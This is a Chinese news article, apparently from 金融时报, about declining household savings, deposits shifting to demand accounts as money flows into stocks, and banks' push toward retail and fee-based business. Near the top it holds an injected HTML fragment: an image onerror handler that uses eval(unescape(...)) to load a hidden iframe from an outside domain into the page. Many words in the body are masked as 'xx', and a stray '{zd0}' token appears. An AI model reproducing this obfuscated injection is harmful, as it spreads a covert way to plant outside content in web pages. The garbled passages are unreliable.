储蓄存款活期化 商业银行再入揽存时代？

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

央行日前公布的金融数据显示，4月份居民储蓄存款减少1674亿元，同比多减2280亿元，金融机构居民户存款增速减缓较为明显，更倾向于活期存款。

    有专家分析认为，在居民储蓄存款大幅减少的同时，消费xx显著多增，但同期消费指数并没有增加，说明受赚钱效应影响，存xx流入异常火爆的股市的可能性很大。中国登记结算公司统计数据显示，沪深两市4月新增A股开户数478.7万户，超过全年开户数总和，同时4月末A股市场新增2500亿元流入资金，估计居民个人资金贡献较多。资本市场繁荣使居民选择收益相对较高的股票、基金等投资工具或理财产品的意愿增强，证券公司客户保证金大幅增加，分流了部分居民存款。

    数据显示，自去年12月份以来狭义货币供应量M1增速超过广义货币供应量M2，且M2增速持续下降，专家认为，这说明非流动性货币正在转化为流动性货币，存款活期化倾向较为明显。

    业内人士指出，去年4月份以前，金融机构存款增长较快而xx增长平稳、存贷差较大导致的银行流动性过剩问题较为突出；而今年以来银行面临的{zd0}问题主要是存款活期化。储蓄存款增速下降和储蓄活期化对处于转型期的我国银行业提出了新挑战。

    储蓄存款地位依然举足轻重

    曾几何时，存款立行、存款兴行等观念在我国银行界大行其道；今天，在银行加大零售业务转型，极力摆脱传统的经营和盈利模式背景下，储蓄存款的意义非但没有降低，却再次凸显出举足轻重的地位，大有卷土重来之势。

    业内人士介绍，储蓄存款是银行负债的重要组成部分，是开展银行资产业务、中间业务的基础，失去了这个基础，零售业务利润和转型也无从谈起。目前，储蓄存款仍然是银行信贷资金和利润的主要来源，具有稳定性强、成本低的特点，能够匹配中、长期xx，只有吸收更多的居民储蓄存款，银行才能扩大xx规模，获取更多利差收入，尤其在转型时期，它是支撑和开展中间业务的前提和基础。

    另外，储蓄存款的主体是银行开展零售业务的基础。银行储蓄存款主要是由居民个人资产构成，具有单笔金额低、客户群体大的特点，只有积聚了相当数量的客户群体，银行才能从中甄别目标客户，将个人银行服务从单纯的存、取款服务向储蓄、个人xx、代理理财并重的多元化服务方向转变，从这个角度讲，储蓄存款背后的客户群体为银行不断创新金融产品提供了广阔基础，为发展个人消费信贷、财富管理、信用卡等中间性收费业务，实现利息收入和手续费收入提供了源泉。现阶段，在未xx实现业务转型的前提下，存款规模小就意味着客户基础薄弱，会直接影响零售业务的发展，进而影响业务经营转型的进程，降低银行整体竞争力。

    深圳发展银行有关专家认为，增加存款要从公司业务和零售业务两方面同时着手。从公司银行业务角度看，目前银行对公司客户提供的业务服务相对简单，发展空间较大。在存款方面，应重点考虑如何留住公司这样稳定的存款来源，以减少个人储蓄存款受市场影响流失对银行的冲击。深发展计划抓住公司客户在运用资金和调配资金方面的需求，作公司客户的理财和融资顾问，以综合性的银行理财顾问角色向公司客户提供财务咨询和投资建议，在不增加企业财务负担的同时增加银行的资金沉淀。就中间业务、代理咨询等其他类公司业务，银行可以发挥信息和资金的优势，利用银行的人力资源和技术平台，向公司客户提供各种综合性服务，包括xxx业务。面向公司的整体个人消费信贷，银行可向客户推荐其他有关证券、保险、国家政策性银行和国内外有关政策性xx等方面的信息，争取风险度小，收益明显的各种中间性业务。

    在零售银行业务方面，随着金融改革深化的进展和银行存xx利差的日趋缩小，零售业务逐步成为利润的重要来源。要全面树立零售业务的整体观念，有效开展包括个人储蓄、信用卡、支票账户、个人住房及消费xx、私人投资及理财、代理信托、保险、租赁等业务，拓宽业务渠道，扩大客户规模，实现业务增长。

    中小银行吸引储蓄各有千秋

    面对存款增速下降和储蓄活期化的压力，目前我国商业银行、尤其是中小银行对储蓄存款设定了考核指标，想尽办法吸纳存款有可能再度成为一些银行的首要工作。

    业内人士认为，与大银行相比，中小银行网点少、客户基础薄弱，加上零售业务开展复杂和繁琐程度较公司业务大，如不通过对零售指标有效的考核引导和倾斜，则经营机构在经营上的短期效应明显，会直接影响银行经营结构转型和长期、持续发展；另一方面，在业务转轨的过渡时期，存xx利差在利润中还占相当大的比重，银行还必须通过扩大资金来源规模提高放贷能力，进一步提高经营利润。

    对中小银行，通过积极吸纳存款迅速做大规模，以及在需要凸显盈利能力的特殊时段，吸纳存款的意义尤为重要。而大型银行早期就从事专门储蓄业务，存款早已经达到了一定的规模，因此增加收费业务产品的开发，获得更多的中间收入已经成为大银行发展的重点，吸纳存款的迫切性也没有那么突出。

    尽管中小银行吸收存款存在许多劣势，但也有大银行不可比拟的优势：一方面，中小银行与客户联系密切，熟悉客户状况，客户关系度高。中小银行为当地客户提供服务，通过长期的合作关系，对客户状况的了解程度逐渐增加，有助于解决存在于中小银行与客户之间的信息不对称问题。比如，浙商银行在杭州、深发展在深圳就受到了当地居民的广泛认可。另一方面，中小银行经营灵活，业务集中，决策效率高，同样的技术条件下业务调整快，便于采取灵活的服务体系，提供个性化服务，从而提升银行的竞争力。

    不过，同样是考核，银行在储蓄指标的考核上与过去明显不同，摒弃了过去单一存款指标的弊端，而是同步加大了对中间业务指标的考核力度，提高中间业务的考核分值，通过指标结构调整转变过去银行资产、负债主营业务的观念，逐步转向以效益为中心的考核体系。

    向零售银行转型的催化剂

    目前，多数银行还处于传统业务向新型零售银行业务转轨时期，储蓄存款的大幅减少，在短期内会给银行带来压力，尤其会造成资金来源不足导致放贷资金不够的困境，直接带来银行利润下滑。但从中长期看，随着银行转型进程加快，储蓄存款的下降对银行造成的影响将逐步降低。主要原因是：

    居民金融资产配置日趋合理，有利于整体经济的平稳发展，进而推动银行业的成长。随着投融资渠道的不断扩大，居民金融意识的不断增强，居民金融资产在市场机制的调节下，逐步形成一个与经济发展相适应的更趋合理的数量结构。专家认为，大力发展直接融资，比如股票市场、债券市场、基金市场、保险市场等当然会带来居民储蓄的分流。但是，多元化的资源配置能更有效地将储蓄配置到投资领域，促进经济增长。

    进一步推动银行加快业务转型和中间业务发展，改善银行业务结构和盈利结构，有利于银行的长期经营。按照国际惯例，银行中间业务是商业银行获利的重要来源，一般占银行收入的30%到40%，被视为与资产、负债业务并重的支柱业务。目前，国内商业银行正在逐步改变过去以资产负债和存贷利差收入为主体的经营结构，转向由资产负债业务和中间业务协调发展、存贷利差与非利息收入并重的经营结构转变，逐渐告别利差时代，中间业务渐成新的效益增长点。银行以网点多、诚信度高的优势，以向客户提供便捷、高效、全面的金融服务为核心，通过开展财富管理业务、代客理财业务、银证转账、代收代付、代理基金、代理信托和保险业务等表外业务，不断满足客户多样化需求，促进中间业务与资产负债业务相互带动发展，这样，逐渐将分流的储蓄从客户投向的新渠道再次召回，为银行带来新的利润增长点，进一步推进业务结构调整，实现资产、负债、中间业务协调发展，有利于银行的长期、稳健经营。

    随着投融资渠道的不断扩大，银行存款来源会更加丰富，对储蓄存款的依赖性逐渐降低。虽然目前居民储蓄被大量分流到基金或股市，但银行的存款还有很大一块来自企业。在我国经济又好又快发展的势头下，企业的利润有望不断增加，并直接带动银行存款的进一步增加。

    另外，我国资本市场、保险市场发展空间巨大，银证、银保业务具有较大潜力，通过进一步加强与证券公司、保险公司的沟通与全面合作，加强资金托管、资产管理、联名卡等新业务的发展，也可以有效提高存款规模。此外，随着投融资渠道的进一步扩大和顺畅，银行也可以通过市场进行融资解决资金来源不足问题。
        来源： 金融时报